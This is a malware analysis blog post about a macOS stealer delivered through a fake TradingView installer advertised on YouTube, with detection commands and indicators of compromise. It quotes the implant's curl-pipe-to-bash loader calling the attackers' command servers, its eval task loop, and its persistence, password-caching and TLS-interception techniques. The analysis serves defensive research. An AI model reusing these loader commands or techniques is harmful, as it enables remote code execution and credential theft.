From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer
On this page
TL;DR
We analyzed a macOS implant recovered from a compromised workstation. The infection started with a Google video ad on YouTube that impersonated TradingView and led to a fake .pkg installer. The malware itself is a full remote-controlled task runner, not a single-purpose stealer. It persists through a LaunchAgent that re-downloads a shell stager every five minutes and executes it. The stager fetches arbitrary bash from the command and control (C2) server and runs it through eval. The main payload is a bundled Node.js application, shipped as AES-256-CBC encrypted V8 bytecode and decrypted only in memory. Six native modules provide the invasive capabilities: keylogging, screen capture, keychain access, user interface automation to grant privacy permissions, and a local TLS-intercepting proxy. A rogue root certificate authority (CA) in the System keychain makes the interception trusted.
Impact:
- Delivery was a paid YouTube video ad, so any user in the targeted audience was a potential victim
- Every HTTPS session on the host is intercepted through a local proxy on
127.0.0.1:49313 - The user’s sudo password is cached in plaintext at
/Users/Shared/.passwd - Browser databases, wallet extension state, keychain items, keystrokes, and screen content are all in scope
- Persistence survives
launchctl disableand process kills; attempted termination re-enables the LaunchAgent
How we found it
The host had three suspicious processes in a single tree:
| PID | Command | Role |
|---|---|---|
| 1109 | /bin/bash -c curl -fsSL --noproxy '*' https://velvetforge.net | bash || curl ... cedarengine.com | bash | Loader, spawned by launchd |
| 1301 | sudo -S -p env KEY=... TOKEN=<JWT> NODE_OPTIONS=--require ./preload.js ./node app.js | Privilege escalation |
| 1304 | ./node app.js | The implant, running as root |
Three details stand out immediately. The --noproxy '*' flag bypasses any corporate egress inspection. The sudo -S -p invocation reads a password from standard input, consistent with a phished credential. And NODE_OPTIONS=--require ./preload.js forces Node.js to run attacker code before the main script.
The loader references two domains: velvetforge.net and cedarengine.com. These are the implant’s command and control (C2) servers, with the second acting as a fallback when the first fails. Both appear throughout the rest of this analysis.
Delivery through a YouTube ad for a fake TradingView installer
The delivery vector is confirmed from browser history forensics. It was not a paste-into-Terminal lure. It was malvertising.
On July 26, 2026, the user clicked an in-video ad on YouTube titled “FREE 1 Year TradingView Subscription Claim Now for Installing Desktop App”. Google Ads records show the click type video_click_to_advertiser_site, campaign identifier 24022739496, and a click ID (gclid). The attacker paid Google to run this placement.
The chain from click to compromise took two minutes:
| Time (UTC) | Event |
|---|---|
| 14:16:00 | Ad click through googleadservices.com to attacker-uploaded YouTube video jfTdpYsvVz0 |
| 14:16:09 | Description-link click to tradingview.15years-ultimate-utility.com, redirecting to 15th-anniversary-free.com |
| 14:16:20 | Download of latest_v19.398.7_setup.pkg (2,081,181 bytes) |
| 14:16:59 | Sudo password written to /Users/Shared/.passwd |
| 14:17:00s | LaunchAgent plist created |
Both redirect domains are attacker-owned and carry the same campaign tag, utm_campaign=o429-12.2&bid=MC. The tradingview. subdomain label is brand impersonation on an unrelated apex. The landing page presented a “TradingView Lifetime Pro — 15th Anniversary” theme.
The .pkg itself was deleted after installation, but the evidence bounds its behavior. At about 2 MB it is far too small to contain the framework (the encrypted payload alone is 5.1 MB, the Node.js runtime about 40 MB). It was a minimal loader. It ran inside the trusted Installer.app flow, which prompted for an admin password through a native dialog. The installer captured that password, wrote it to /Users/Shared/.passwd, installed the LaunchAgent, and exited. The heavyweight components arrived later, staged over 24 days through the C2 task channel.
Persistence through a LaunchAgent watchdog
Persistence lives in one plist:
~/Library/LaunchAgents/com.microsoft.service.systemhelperwatcher.v8mgfk.plistThe label masquerades as a Microsoft service. The file is unsigned, owned by the user, and its only program is the two-domain curl | bash fallback above. Four keys make it resilient:
RunAtLoad = true— runs at loginKeepAlive = true— respawns on exitThrottleInterval = 5— minimum five seconds between restartsStartInterval = 300— fires every five minutes regardless
The result: even if a defender deletes the payload directory, the LaunchAgent re-fetches the stager from velvetforge.net, or cedarengine.com as a fallback, within five minutes. Background Task Management shows the entry as enabled and allowed. The registered executable is /bin/bash, so no attacker binary appears in the system’s launch item inventory.
The stager: a task-dispatch loop
The two C2 domains are fronted by Cloudflare and serve the same 62-line shell script. They label it application/pdf, a mislabeled type that the client also enforces. The script only runs when it detects it was launched by launchd (XPC_FLAGS=0x0 or XPC_SERVICE_NAME set, TASK_LABEL present). This gate defeats manual analysis and sandboxes.
The core loop is simple and dangerous:
while true; do SCRIPT=$(invoke_request /script 2>/dev/null) if [ -z "$SCRIPT" ]; then # back off; after 5 empty replies, sleep 300-900s and exit ... fi eval "$SCRIPT" sleep 3doneThe invoke_request helper issues GET /script against the C2, and the loop executes whatever the response body contains. The request carries two headers:
X-Machine-Id: the lowercased UUID of the APFS Data volume, a stable per-host identifierX-Token: an HS256 JWT withaud=coordination, hard-coded in the script. It authenticates the campaign, not the host
The Content-Type gate doubles as a kill switch. The operator can stop serving tasks to any victim by changing the response MIME type.
Self-healing on exit
The script installs a trap that re-enables, re-bootstraps, and kickstarts the LaunchAgent on any clean exit. SIGTERM, SIGHUP, and SIGINT are caught and converted to exit 0, which fires the trap. Killing the process re-enables persistence. Removal requires deleting the plist, the password cache, and the payload directory from a recovery environment, not from the live session.
The plaintext password cache
The stager reads /Users/Shared/.passwd and pipes it into sudo -S -p ''. This file holds the user’s sudo password in plaintext, captured once through a fake prompt during installation. /Users/Shared is world-readable, so any local process can read it. Treat the account password as fully compromised.
The payload: encrypted V8 bytecode in memory
The working directory ~/Library/Application Support/.com.microsoft.service.systemhelperwatcher.v8mgfk/ contains a legitimate, Developer-ID-signed Node.js binary. The malware uses it as a signed proxy: Node’s hardened-runtime entitlements (disable-library-validation, allow-jit) let it load unsigned native modules and execute JIT-compiled code without tripping Gatekeeper or XProtect.
Execution has three stages:
preload.js(161 KB, obfuscated with ajavascript-obfuscatorstring array) decrypts an inline blob with AES-256-CBC usingprocess.env.KEY, thenevals the result.- The stage-2 script installs a
Module._extensions['.js']hook. When Node loadsapp.js, the hook reads the file, decrypts it (the IV is the first 16 bytes of the ciphertext), and loads the plaintext throughnew vm.Script(placeholder, { cachedData }). - The plaintext is not JavaScript source. It is an 18.6 MB V8 code cache: pre-compiled bytecode for a bundle of roughly 7.5 MB of source. The original source is not recoverable from disk.
Decrypting the payload without executing it
We recovered the plaintext with a capture-only loader, so no attacker code ever ran. Three steps:
- Capture stage 2. We patched the single
eval(z)call at the end ofpreload.jsso it wrote the decrypted blob to disk and exited. That produced a 13.9 KB stage-2 script, still obfuscated but readable enough to analyze. - Hook the cryptographic calls. A runner script loaded stage 2 with two monkey-patches.
crypto.createDecipherivwas wrapped to log the algorithm, key, and IV. Thevm.Scriptconstructor was wrapped to dump anycachedDatabuffer and callprocess.exit(0)beforerunInThisContext()could execute it. - Replay with the recovered key. We ran the loader under Node.js v22.22.0, matching the attacker-shipped binary. The
KEYvalue came from the privilege-escalation process (PID 1301 above). Stage 2’s own.jshook then decryptedapp.x64.jsand handed the plaintext to our hooked constructor.
The observed cipher parameters:
| Field | Value |
|---|---|
| Algorithm | AES-256-CBC |
| Key | 2e1ba69fb0124bbeb8b24fd8c719f9910401a3d0f1c18a99e9f5acdece54d8fa (from process.env.KEY) |
| IV | First 16 bytes of the ciphertext file |
| Recovered plaintext | 18,646,360-byte V8 code cache; declared source length 7,544,235 bytes |
The stage-2 loader reveals why the plaintext is bytecode. It loads the cache against a placeholder source of null bytes:
const sourceLen = plain.readUInt32LE(0x8);const script = new vm.Script('\0'.repeat(sourceLen), { cachedData: plain, filename,});if (script.cachedDataRejected) throw new Error();script.runInThisContext();V8 skips parsing entirely when it accepts the cache. Stage 2 also sets --no-lazy and --no-flush-bytecode to keep the cache reproducible. Because V8 validates the cache against a source hash and length, the file cannot be re-parsed as text. Reading the implant’s logic would require V8 bytecode disassembly or instrumented execution in a locked-down sandbox.
String-mining the cache yielded 46,645 strings. Almost all belong to bundled dependencies: axios, undici, ws, a tRPC client, and two WebAssembly builds of the llhttp parser. The implant speaks tRPC over WebSocket to its C2, with full HTTP and SOCKS5 proxy support. Attacker strings are absent, consistent with runtime-decoded obfuscation.
Native sidecar modules
The bundle loads six N-API modules named 0.<hash>.node, an artifact of the @vercel/ncc bundler. All are universal Mach-O binaries, ad-hoc signed, loaded unencrypted through standard require().
| Module | Language | Role |
|---|---|---|
0.j2ustclo82q.node (5.7 MB) | Rust (napi-rs + tokio) | Main capability engine |
0.zajzrie0e0k.node (9.9 MB) | C++ (Boost.Beast + static OpenSSL) | Local TLS-terminating MITM proxy |
0.tqyrzhsmyo.node (3.8 MB) | C | better-sqlite3, for browser databases |
0.t5q8yacuhpa.node (846 KB) | C++ | LevelDB, the implant task queue |
0.tg5rts3cmn.node (147 KB) | C++ | node-pty, interactive shell channel |
0.pm2crnimu7c.node (212 KB) | N-API | Small helper, role unconfirmed |
The Rust module exports about thirty functions. They cover global keylogging (keyboard_start), synthetic input, and screen capture through ScreenCaptureKit. They also cover invisible recording through CGVirtualDisplay, which shows no on-screen indicator, plus keychain reads, root CA installation (trust_system_certificate), system proxy reconfiguration (set_proxy), and Focus-mode suppression of notifications. The module also automates the Passwords app through accessibility APIs to export the vault, and clicks through privacy permission dialogs on its own. The error strings are diagnostic. "Use Password button not found in Touch ID dialog" and "Allow button not found in TCC dialog" show a library of UI element descriptions. A fake SystemUpdater.app facade with strings in about thirty languages supports this library across localizations.
The C++ module closes the interception loop. It terminates TLS with leaf certificates minted under the rogue CA, then re-encrypts to the real origin. With the system proxy pointed at 127.0.0.1:49313 and the CA trusted in the System keychain, every URLSession consumer on the host sends its HTTPS traffic through the implant.
End-to-end execution model

One detail refined the delivery model. The three tarballs on disk have modification dates spread across 24 days, after the LaunchAgent was already beaconing. The initial .pkg shipped only the persistence stub. The runtime, facade app, and payload arrived later through /script dispatches. This is an inference from on-disk timestamps, but it matches both the small installer size and the stager’s design as a general task runner.
Attribution: a macOS port of WEEVILPROXY/JSCEAL
The strongest public correlation is the family tracked as WEEVILPROXY by WithSecure and JSCEAL by Check Point Research. The fingerprints match at two levels: architecture and delivery.
| Trait | This sample (macOS) | JSCEAL/WEEVILPROXY (Windows) |
|---|---|---|
| C2 protocol | tRPC over WebSocket | tRPC over WebSocket |
| C2 header | X-Machine-Id, JWT | X-Machine-Id |
| Runtime | Bundled Node.js | Bundled node.exe |
| Bootstrap | NODE_OPTIONS=--require preload.js | node.exe -r preflight.js app.jsc |
| Payload | Encrypted V8 code cache | Compiled .jsc |
| Native modules | 0.<hash>.node, ncc-bundled | 0.<hash>.node, ncc-bundled |
| Obfuscation | javascript-obfuscator | javascript-obfuscator |
| Malvertising lure | TradingView impersonation | TradingView impersonation |
| Ad platform | Google/YouTube video ads | Meta ads |
| Installer container | .pkg | Signed MSI |
| Theft targets | Browser databases, wallets, keychain, MITM | Browser cookies, wallets, man-in-the-browser |
The delivery-vector overlap is notable. Bitdefender documented a TradingView-impersonation malvertising cluster for this family in September 2025. Our sample uses the same brand lure and the same targeting logic, moved from Meta ads to YouTube video ads, and from an MSI to a macOS-native .pkg. Both containers ride the trust users place in OS-native installers.
The remaining differences are what a Windows-to-macOS port requires: a LaunchAgent instead of Windows persistence, the SystemUpdater.app facade, and macOS-specific native modules. We found no public writeup naming this macOS variant, its domains, or its persistence label. This attribution is an inference, not a confirmed fact.
Detection and hunting
Hunt for these artifacts on macOS endpoints:
# The persistence label and any unsigned LaunchAgents referencing curlgrep -rl "systemhelperwatcher" ~/Library/LaunchAgents/ /Library/LaunchAgents/ 2>/dev/nullgrep -l "curl -fsSL --noproxy" ~/Library/LaunchAgents/*.plist 2>/dev/null
# The plaintext password cachesudo shasum -a 256 /Users/Shared/.passwd 2>/dev/null
# The payload directoryls -la ~/"Library/Application Support/.com.microsoft.service.systemhelperwatcher.v8mgfk"
# A local proxy listener owned by nodelsof -nP -iTCP:49313 -sTCP:LISTENscutil --proxy | grep 127.0.0.1
# Non-Apple certificates in the System keychainsudo security find-certificate -a -Z /Library/Keychains/System.keychain | grep -B5 "C=US"
# Chrome downloads from the delivery domainssqlite3 ~/Library/Application\\ Support/Google/Chrome/Default/History \ "SELECT target_path, tab_url FROM downloads WHERE tab_url LIKE '%15th-anniversary-free.com%';"Other victims will have ~/Downloads/latest_v*_setup*.pkg entries with a YouTube referrer and the utm_campaign=o429-12.2 tag.
Network-side, both C2 domains can be probed with a plain GET from a sandbox. The server does not gate on user agent, so proxy logs containing X-Machine-Id headers identify additional compromised hosts.
Indicators of compromise
Network:
velvetforge.net(primary C2, Cloudflare-fronted)cedarengine.com(fallback C2, Cloudflare-fronted)- Endpoint:
GET /scriptwith headersX-Machine-IdandX-Token - Responses mislabeled
Content-Type: application/pdf
Delivery infrastructure:
tradingview.15years-ultimate-utility.com(first redirect hop, brand impersonation)15years-ultimate-utility.com(attacker-owned apex)15th-anniversary-free.com(landing page and.pkghost)- Payload URL:
https://15th-anniversary-free.com/latest_v19.398.7_setup.pkg - Campaign tag:
utm_campaign=o429-12.2&bid=MC - YouTube video ID
jfTdpYsvVz0(attacker-uploaded promotional video) - Google Ads:
ad_cpn=uvAxyoo0SsFLTENr, campaign ID24022739496, publisher slotca-pub-6219811747049371 - Filename pattern:
latest_v<version>_setup.pkg, 2,081,181 bytes
Files and paths:
~/Library/LaunchAgents/com.microsoft.service.systemhelperwatcher.v8mgfk.plist(SHA-256:98338c00c88b44cecbae876476b2c72d87daaa344f129488dacf0e0708a53218)~/Library/Application Support/.com.microsoft.service.systemhelperwatcher.v8mgfk//Users/Shared/.passwd(plaintext sudo password)preload.js(SHA-256:3a85caeef685772499337f8bfcc5a11483057188d6958af8a3b28139cb2be0ae)app.js(SHA-256:c6cdd58cc498655e985b6d00793f268c435a1b8aa77771a0ca57f72eae2e96e7),app.x64.js(SHA-256:30113a67fcd20f6ff33dbca938f1213cc4135c4e06fb85cf4055bc36a775021c)- Rogue root CA in System keychain (SHA-256:
399BC8604CECB28415B8E759BF7AF20C90D69F84AEDFE9B2C06B30326109BB7F, self-signedC=US, RSA-4096, valid 2025-07-27 to 2027-07-27) - Local proxy listener on
127.0.0.1:49313
Cryptographic material:
- AES-256-CBC payload key:
2e1ba69fb0124bbeb8b24fd8c719f9910401a3d0f1c18a99e9f5acdece54d8fa - JWTs for the stager: HS256,
aud=coordination, per-domain claim, expiry 2026-09-04 - Loader JWT: RS256,
aud=loader, per-implant
YARA-worthy strings:
macos-native.darwin-universal.nodeUse Password button not found in Touch ID dialogAllow button not found in TCC dialogtrust_system_certificate,autofill_export_passwordsbeast.http+boost_asio+napi_register_module_v1
Key takeaways
- Malvertising on a major platform delivered this implant. A paid YouTube video ad, a brand-impersonation landing page, and a native
.pkginstaller were enough. No exploit and no paste-into-Terminal trick was involved. - The Installer.app admin prompt is a high-trust credential collection point. One typed password gave the attacker persistent silent root through
/Users/Shared/.passwd. - A legitimate signed Node.js binary, combined with
NODE_OPTIONS=--require, is enough to bypass Gatekeeper, notarization, and static antivirus. The payload never exists on disk as readable code. - Shipping the payload as a V8 code cache defeats string-based detection and casual reverse engineering. Analysis requires bytecode disassembly or instrumented execution.
- The persistence design punishes partial remediation. Killing the process or disabling the LaunchAgent re-arms it.
- The stager is a general task runner. Capabilities can change at the operator’s pace, as the 24-day staged delivery shows.
- Rogue root CA plus a local proxy turns one compromised Mac into a full TLS interception point for every application that honors system proxy settings.
- macOS
- malware
- nodejs
- reverse-engineering
- stealer
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
Malicious Rust Crate arrayref Runs a Build-Time Payload
A compromised release of the popular Rust crate arrayref pulled in a typosquatted proc-macro1 whose build script downloads and runs a remote binary at compile time. The malicious versions are now...
Baileys npm forks farm WhatsApp Channel followers
A growing npm campaign uses forks of the Baileys WhatsApp library to make developers' own accounts follow attacker channels, inflating follower counts and injecting advertising.
npm Bin Entry Harvesting: A Dependency Confusion Blind Spot
21 malicious npm packages targeted Google by squatting CLI binary names from scoped packages, not package names. The technique exploits a structural gap that standard dependency confusion defenses do...
keyv and cacheable npm compromise: 400+ packages
An npm worm published 2,234 poisoned versions across 444 package names. Its install script stole credentials and ran a command when GitHub revoked a token.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.